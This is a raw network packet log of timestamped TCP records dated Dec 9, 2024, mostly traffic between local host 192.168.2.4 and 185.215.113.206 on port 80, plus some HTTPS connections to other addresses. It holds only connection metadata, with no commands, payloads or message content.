Dec 9, 2024 20:27:11.039376020 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.040026903 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.040071964 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.040544987 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.040590048 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.040852070 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.040896893 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.041840076 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.041852951 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.041886091 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.042790890 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.042840004 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.042939901 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.042984009 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.043771982 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.043813944 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.043946981 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.043989897 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.044742107 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.044786930 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.045989037 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.046004057 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.046019077 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.046044111 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.046070099 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.047089100 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.047110081 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.047122002 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.047152996 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.047184944 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.048291922 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.048342943 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.049242973 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.049278975 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.049299002 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.049312115 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.050331116 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.050404072 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.079566002 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.079586983 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.079638004 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.079673052 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.080265999 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.080329895 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.080384970 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.080437899 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.081342936 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.081392050 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.081535101 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.081578016 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.082478046 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.082521915 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.082586050 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.082628965 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.083630085 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.083674908 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.083986998 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.084031105 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.084345102 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.084392071 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.084604979 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.084645987 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.085457087 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.085500002 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.085751057 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.085792065 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.174065113 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.174112082 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.174149036 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.174182892 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.174586058 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.174657106 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.174715042 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.174763918 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.175580978 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.175631046 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.176038027 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.176081896 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.176867962 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.176882982 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.176896095 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.176911116 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.176930904 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.177191019 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.177202940 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.177238941 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.177314997 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.177362919 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.178288937 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.178340912 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.178549051 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.178592920 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.179486036 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.179569960 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.179611921 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.179651022 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.180393934 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.180435896 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.180700064 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.180753946 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.181766987 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.181819916 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.182012081 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.182060957 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.182770967 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.182782888 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.182904005 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.183868885 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.183924913 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.184046030 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.184083939 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.184623957 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.184667110 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.184916973 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.184958935 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.185745001 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.185791016 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.185952902 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.185997963 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.186822891 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.186870098 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.187005043 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.187047958 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.187804937 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.187854052 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.188010931 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.188051939 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.188925982 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.188971043 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.189204931 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.189250946 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.190222025 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.190323114 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.190357924 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.190395117 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.191178083 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.191226959 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.191287994 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.191323042 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.192203999 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.192243099 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.192658901 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.192699909 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.193357944 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.193408966 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.194034100 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.194075108 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.194483042 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.194520950 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.194905996 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.194945097 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.195516109 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.195574045 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.195784092 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.195846081 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.196533918 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.196572065 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.216736078 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.216836929 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.216903925 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.216938019 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.217109919 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.217152119 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.217720985 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.217771053 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.218254089 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.218297958 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.218456030 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.218498945 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.219367027 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.219417095 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.220036030 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.220077038 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.220446110 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.220459938 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.220488071 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.220518112 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.221612930 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.221678972 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.221796989 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.221836090 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.222584963 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.222634077 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.223506927 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.223555088 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.223701954 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.223747015 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.223830938 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.223869085 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.224761009 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.224803925 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.225292921 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.225341082 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.225940943 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.226121902 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.226181984 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.226227999 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.226985931 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.227063894 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.227085114 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.227128029 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.228188038 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.228205919 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.228260040 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.229177952 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.229234934 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.229377031 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.229420900 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.230472088 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.230515003 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.230637074 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.230681896 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.231322050 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.231337070 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.231383085 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.232446909 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.232501030 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.233423948 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.233483076 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.233506918 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.233520031 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.233541965 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.233567953 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:11.234574080 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:11.234626055 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:14.951842070 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:14.951935053 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:17.777218103 CET	49672	443	192.168.2.4	173.222.162.32
Dec 9, 2024 20:27:17.777218103 CET	49672	443	192.168.2.4	173.222.162.32
Dec 9, 2024 20:27:17.777266026 CET	443	49672	173.222.162.32	192.168.2.4
Dec 9, 2024 20:27:17.777273893 CET	443	49672	173.222.162.32	192.168.2.4
Dec 9, 2024 20:27:17.777302980 CET	49672	443	192.168.2.4	173.222.162.32
Dec 9, 2024 20:27:17.777307987 CET	443	49672	173.222.162.32	192.168.2.4
Dec 9, 2024 20:27:17.780803919 CET	49731	443	192.168.2.4	173.222.162.32
Dec 9, 2024 20:27:17.780858994 CET	443	49731	173.222.162.32	192.168.2.4
Dec 9, 2024 20:27:17.781224012 CET	49731	443	192.168.2.4	173.222.162.32
Dec 9, 2024 20:27:17.781833887 CET	49731	443	192.168.2.4	173.222.162.32
Dec 9, 2024 20:27:17.781852007 CET	443	49731	173.222.162.32	192.168.2.4
Dec 9, 2024 20:27:19.133188963 CET	443	49731	173.222.162.32	192.168.2.4
Dec 9, 2024 20:27:19.133268118 CET	49731	443	192.168.2.4	173.222.162.32
Dec 9, 2024 20:27:23.664608002 CET	49730	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:23.664947033 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:23.785661936 CET	80	49730	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:23.785872936 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:23.785962105 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:23.786179066 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:23.786206961 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:23.905791998 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:23.905858994 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:23.905872107 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:24.495636940 CET	49731	443	192.168.2.4	173.222.162.32
Dec 9, 2024 20:27:24.495742083 CET	443	49731	173.222.162.32	192.168.2.4
Dec 9, 2024 20:27:24.495944977 CET	443	49731	173.222.162.32	192.168.2.4
Dec 9, 2024 20:27:24.495959997 CET	49731	443	192.168.2.4	173.222.162.32
Dec 9, 2024 20:27:24.495995045 CET	49731	443	192.168.2.4	173.222.162.32
Dec 9, 2024 20:27:25.046953917 CET	49745	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:25.047002077 CET	443	49745	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:25.047082901 CET	49745	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:25.047228098 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:25.047250032 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:25.047310114 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:25.047517061 CET	49745	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:25.047544956 CET	443	49745	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:25.047679901 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:25.047694921 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:25.076771975 CET	49747	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:25.076811075 CET	443	49747	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:25.076869011 CET	49747	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:25.077442884 CET	49747	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:25.077457905 CET	443	49747	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:25.122001886 CET	49748	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:25.122051001 CET	443	49748	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:25.122139931 CET	49748	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:25.122384071 CET	49748	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:25.122404099 CET	443	49748	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:25.629751921 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:25.631331921 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:25.747340918 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:25.897470951 CET	49723	80	192.168.2.4	2.22.50.144
Dec 9, 2024 20:27:25.898485899 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:26.017498970 CET	80	49723	2.22.50.144	192.168.2.4
Dec 9, 2024 20:27:26.017945051 CET	49723	80	192.168.2.4	2.22.50.144
Dec 9, 2024 20:27:26.709132910 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:26.709507942 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:26.739850998 CET	443	49745	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:26.741641998 CET	49745	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:26.741676092 CET	443	49745	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:26.742717981 CET	443	49745	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:26.742782116 CET	49745	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:26.743937969 CET	49745	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:26.744009972 CET	443	49745	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:26.744111061 CET	49745	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:26.744123936 CET	443	49745	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:26.756520033 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:26.757575035 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:26.757590055 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:26.758599997 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:26.758682966 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:26.759182930 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:26.759238958 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:26.759403944 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:26.759413958 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:26.769268036 CET	443	49747	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:26.769840002 CET	49747	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:26.769865036 CET	443	49747	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:26.772456884 CET	443	49747	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:26.772535086 CET	49747	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:26.772829056 CET	49747	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:26.772953033 CET	443	49747	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:26.772969961 CET	49747	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:26.798894882 CET	49745	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:26.814513922 CET	49747	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:26.814517021 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:26.814526081 CET	443	49747	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:26.823746920 CET	443	49748	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:26.825773954 CET	49748	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:26.825800896 CET	443	49748	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:26.826843023 CET	443	49748	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:26.826905012 CET	49748	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:26.827260971 CET	49748	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:26.827322960 CET	443	49748	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:26.861376047 CET	49747	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:26.877010107 CET	49748	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:26.877023935 CET	443	49748	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:26.923912048 CET	49748	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:27.578783989 CET	443	49745	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.578834057 CET	443	49745	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.578865051 CET	443	49745	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.578892946 CET	443	49745	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.578911066 CET	49745	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:27.578964949 CET	443	49745	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.578984976 CET	49745	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:27.587444067 CET	443	49745	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.587476969 CET	443	49745	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.587590933 CET	49745	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:27.587642908 CET	443	49745	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.591331005 CET	49745	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:27.594230890 CET	443	49745	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.594310999 CET	443	49745	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.594389915 CET	49745	443	192.168.2.4	142.250.181.68
